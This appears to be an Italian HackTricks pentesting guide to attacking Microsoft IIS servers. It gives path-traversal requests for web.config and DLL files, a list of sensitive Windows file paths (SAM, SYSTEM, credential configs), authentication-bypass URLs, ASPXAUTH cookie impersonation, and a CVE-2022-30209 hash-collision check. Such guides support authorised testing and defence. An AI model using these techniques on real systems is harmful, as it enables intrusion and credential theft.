hacktricks/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md

263 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IIS - Internet Information Services
{{#include ../../banners/hacktricks-training.md}}
Testa le estensioni dei file eseguibili:
- asp
- aspx
- config
- php
## Rivelazione dell'indirizzo IP interno
Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indicarti l'indirizzo IP interno:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Risposta che rivela l'IP interno:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Eseguire file .config
Puoi caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: [Scarica esempio qui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Ulteriori informazioni e tecniche per sfruttare questa vulnerabilità [qui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Scoperta IIS Bruteforce
Scarica l'elenco che ho creato:
{% file src="../../images/iisfinal.txt" %}
È stato creato unendo i contenuti dei seguenti elenchi:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno ce l'hanno già.
## Traversata del percorso
### Rivelazione del codice sorgente
Controlla il resoconto completo in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> In sintesi, ci sono diversi file web.config all'interno delle cartelle dell'applicazione con riferimenti a file "**assemblyIdentity**" e "**namespaces**". Con queste informazioni è possibile sapere **dove si trovano gli eseguibili** e scaricarli.\
> Dai **Dll scaricati** è anche possibile trovare **nuovi namespaces** dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\
> Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti.\\
Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione si basa attraverso i tag XML **"assemblyIdentity"**.
### **Esplorare file binari**
Un esempio di accesso al file **web.config** è mostrato di seguito:
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Questa richiesta rivela varie impostazioni e dipendenze, come:
- **EntityFramework** versione
- **AppSettings** per pagine web, validazione client e JavaScript
- Configurazioni di **System.web** per autenticazione e runtime
- Impostazioni dei moduli di **System.webServer**
- Binding di assembly di **Runtime** per numerose librerie come **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
Queste impostazioni indicano che determinati file, come **/bin/WebGrease.dll**, si trovano all'interno della cartella /bin dell'applicazione.
### **File della Directory Radice**
I file trovati nella directory radice, come **/global.asax** e **/connectionstrings.config** (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell'applicazione.
### **Namespace e Web.Config**
Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ciascun file, come dimostrato con una richiesta per scaricare un altro **web.config**:
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Download di DLL**
La menzione di uno spazio dei nomi personalizzato suggerisce la presenza di una DLL chiamata "**WebApplication1**" nella directory /bin. A seguire, viene mostrata una richiesta per scaricare la **WebApplication1.dll**:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Questo suggerisce la presenza di altri DLL essenziali, come **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, nella directory /bin.
In uno scenario in cui un DLL importa uno spazio dei nomi chiamato **WebApplication1.Areas.Minded**, un attaccante potrebbe dedurre l'esistenza di altri file web.config in percorsi prevedibili, come **/area-name/Views/**, contenenti configurazioni specifiche e riferimenti ad altri DLL nella cartella /bin. Ad esempio, una richiesta a **/Minded/Views/web.config** può rivelare configurazioni e spazi dei nomi che indicano la presenza di un altro DLL, **WebApplication1.AdditionalFeatures.dll**.
### File comuni
Da [qui](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 Errore 404
Se vedi un errore come il seguente:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Significa che il server **non ha ricevuto il nome di dominio corretto** all'interno dell'intestazione Host.\
Per accedere alla pagina web potresti dare un'occhiata al **Certificato SSL** servito e forse puoi trovare il nome del dominio/sottodominio lì. Se non è presente, potresti dover **forzare VHosts** fino a trovare quello corretto.
## Vecchie vulnerabilità IIS da cercare
### Vulnerabilità/Caratteristica del carattere tilde “\~” di Microsoft IIS Rivelazione di nomi di file/cartelle brevi
Puoi provare a **enumerare cartelle e file** all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa **tecnica**.\
La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e i primi 3 caratteri dell'estensione** dei file.
Puoi usare [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) per testare questa vulnerabilità:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
Ricerca originale: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Puoi anche usare **metasploit**: `use scanner/http/iis_shortname_scanner`
Un'idea carina per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Bypass dell'autenticazione di base
**Bypass** di un'autenticazione di base (**IIS 7.5**) provando ad accedere a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
Puoi provare a **mescolare** questa **vulnerabilità** e l'ultima per trovare nuove **cartelle** e **bypassare** l'autenticazione.
## Debugging ASP.NET Trace.AXD abilitato
ASP.NET include una modalità di debugging e il suo file si chiama `trace.axd`.
Tiene un log molto dettagliato di tutte le richieste fatte a un'applicazione nel corso del tempo.
Queste informazioni includono IP dei client remoti, ID di sessione, tutti i cookie di richiesta e risposta, percorsi fisici, informazioni sul codice sorgente e potenzialmente anche nomi utente e password.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## Cookie ASPXAUTH
ASPXAUTH utilizza le seguenti informazioni:
- **`validationKey`** (stringa): chiave codificata in esadecimale da utilizzare per la validazione della firma.
- **`decryptionMethod`** (stringa): (predefinito “AES”).
- **`decryptionIV`** (stringa): vettore di inizializzazione codificato in esadecimale (predefinito a un vettore di zeri).
- **`decryptionKey`** (stringa): chiave codificata in esadecimale da utilizzare per la decrittazione.
Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie del secondo server nel primo** e impersonare l'utente.\
Questo attacco ha funzionato in questo [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Bypass dell'autenticazione IIS con password memorizzate nella cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Rapporto completo qui](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un bug nel codice **non ha controllato correttamente la password fornita dall'utente**, quindi un attaccante il cui **hash della password colpisce una chiave** già presente nella **cache** sarà in grado di accedere come quell'utente.
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
{{#include ../../banners/hacktricks-training.md}}